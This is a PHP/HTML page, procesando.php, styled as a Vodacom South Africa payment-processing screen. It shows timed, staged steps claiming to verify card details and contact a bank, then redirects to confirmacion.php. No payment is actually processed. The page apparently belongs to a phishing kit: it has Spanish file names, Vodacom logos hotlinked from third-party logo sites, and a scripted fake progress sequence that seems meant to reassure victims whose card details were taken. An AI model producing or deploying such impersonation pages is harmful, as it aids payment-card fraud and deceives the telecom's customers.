<?php
// procesando.php - Vodacom South Africa | Processing Payment
session_start();
$ref = $_GET['ref'] ?? $_SESSION['invoice'] ?? 'VODACOM-' . date('Ymd') . '-001';

$_SESSION['ref'] = $ref;

// Redirect to confirmacion.php after 8 seconds
header("Refresh: 8; url=confirmacion.php?ref=" . urlencode($ref));
?>
<!DOCTYPE html>
<html lang="en-ZA">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Processing Payment | Vodacom South Africa</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <meta http-equiv="refresh" content="8;url=confirmacion.php?ref=<?php echo urlencode($ref); ?>">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            background-color: #F5F7FB;
            color: #1A1A1A;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background-color: #FFFFFF;
            border-bottom: 1px solid #E6EAF2;
            padding: 0.75rem 0;
        }

        .header-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .logo {
            height: 45px;
            width: auto;
        }

        .nav-links {
            display: flex;
            gap: 2rem;
        }

        .nav-links a {
            color: #4A4A4A;
            text-decoration: none;
            font-size: 0.9rem;
            font-weight: 500;
        }

        .nav-links a:hover {
            color: #E60000;
        }

        .container {
            max-width: 500px;
            width: 100%;
            margin: 3rem auto;
            padding: 0 1.5rem;
            flex: 1;
            display: flex;
            align-items: center;
        }

        .processing-card {
            background-color: #FFFFFF;
            border: 1px solid #E6EAF2;
            padding: 3rem;
            width: 100%;
            text-align: center;
        }

        .logo-container {
            margin-bottom: 2rem;
        }

        .processing-logo {
            height: 60px;
            width: auto;
        }

        .processing-card h2 {
            font-size: 1.5rem;
            font-weight: 600;
            color: #1A1A1A;
            margin-bottom: 1rem;
        }

        .processing-card p {
            color: #6B7A99;
            font-size: 0.95rem;
            margin-bottom: 2rem;
            line-height: 1.6;
        }

        .progress-container {
            width: 100%;
            height: 4px;
            background-color: #E6EAF2;
            margin: 2rem 0;
        }

        .progress-bar {
            height: 4px;
            background-color: #E60000;
            width: 0%;
            animation: progress 8s linear forwards;
        }

        @keyframes progress {
            0% { width: 0%; }
            100% { width: 100%; }
        }

        .status-indicator {
            margin: 2rem 0;
            text-align: left;
        }

        .status-step {
            display: flex;
            align-items: center;
            gap: 1rem;
            padding: 0.75rem 0;
            border-bottom: 1px solid #E6EAF2;
            color: #6B7A99;
        }

        .status-step.active {
            color: #1A1A1A;
        }

        .status-step.active .step-icon {
            color: #E60000;
        }

        .step-icon {
            width: 24px;
            color: #D1D7E6;
        }

        .step-text {
            font-size: 0.95rem;
        }

        .step-text small {
            display: block;
            font-size: 0.8rem;
            color: #6B7A99;
            margin-top: 0.25rem;
        }

        .reference-box {
            background-color: #F5F7FB;
            border: 1px solid #E6EAF2;
            padding: 1rem;
            margin-top: 2rem;
            font-size: 0.85rem;
        }

        .reference-box i {
            color: #E60000;
            margin-right: 0.5rem;
        }

        .redirect-message {
            margin-top: 1.5rem;
            font-size: 0.85rem;
            color: #6B7A99;
        }

        .footer {
            background-color: #FFFFFF;
            border-top: 1px solid #E6EAF2;
            padding: 2rem 0;
            margin-top: auto;
        }

        .footer-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 1rem;
        }

        .footer-logo {
            height: 30px;
            width: auto;
        }

        .footer-links {
            display: flex;
            gap: 2rem;
            font-size: 0.8rem;
        }

        .footer-links a {
            color: #6B7A99;
            text-decoration: none;
        }

        .footer-links a:hover {
            color: #E60000;
        }

        .footer-copyright {
            font-size: 0.75rem;
            color: #6B7A99;
        }

        @media (max-width: 480px) {
            .processing-card {
                padding: 2rem;
            }
            .processing-logo {
                height: 50px;
            }
        }
    </style>
</head>
<body>
    <header class="header">
        <div class="header-container">
            <img src="https://download.logo.wine/logo/Vodacom/Vodacom-Logo.wine.png" alt="Vodacom South Africa" class="logo">
            <div class="nav-links">
                <a href="#">Personal</a>
                <a href="#">Business</a>
                <a href="#">Help</a>
            </div>
        </div>
    </header>

    <div class="container">
        <div class="processing-card">
            <div class="logo-container">
                <img src="https://companieslogo.com/img/orig/VOD.JO-b42c4c1b.png?t=1720244494" alt="Vodacom" class="processing-logo">
            </div>

            <h2>Processing payment</h2>
            <p>Your transaction is being processed securely.</p>

            <div class="progress-container">
                <div class="progress-bar"></div>
            </div>

            <div class="status-indicator">
                <div class="status-step active" id="step1">
                    <div class="step-icon"><i class="fas fa-credit-card"></i></div>
                    <div class="step-text">
                        Verifying card details
                        <small>Validating information</small>
                    </div>
                </div>
                <div class="status-step" id="step2">
                    <div class="step-icon"><i class="fas fa-building"></i></div>
                    <div class="step-text">
                        Connecting to bank
                        <small>Authorising transaction</small>
                    </div>
                </div>
                <div class="status-step" id="step3">
                    <div class="step-icon"><i class="fas fa-check-circle"></i></div>
                    <div class="step-text">
                        Confirming payment
                        <small>Processing response</small>
                    </div>
                </div>
            </div>

            <div class="reference-box">
                <i class="fas fa-clock"></i>
                Reference: <?php echo htmlspecialchars($ref); ?>
            </div>
            
            <div class="redirect-message">
                <i class="fas fa-spinner fa-spin"></i>
                You will be redirected automatically...
            </div>
        </div>
    </div>

    <footer class="footer">
        <div class="footer-container">
            <img src="https://www.at-mobilfunk.com/wp-content/uploads/2020/02/vodacom-logo.png" alt="Vodacom" class="footer-logo">
            <div class="footer-links">
                <a href="#">Terms and conditions</a>
                <a href="#">Privacy policy</a>
                <a href="#">Help centre</a>
                <a href="#">Contact</a>
            </div>
            <div class="footer-copyright">© 2026 Vodacom South Africa. All rights reserved.</div>
        </div>
    </footer>

    <script>
        const steps = [
            document.getElementById('step1'),
            document.getElementById('step2'),
            document.getElementById('step3')
        ];
        
        let currentStep = 0;
        
        const interval = setInterval(() => {
            if (currentStep < steps.length - 1) {
                steps[currentStep].classList.remove('active');
                currentStep++;
                steps[currentStep].classList.add('active');
            }
        }, 2500);
        
        setTimeout(function() {
            window.location.href = 'confirmacion.php?ref=<?php echo urlencode($ref); ?>';
        }, 8000);
    </script>
</body>
</html>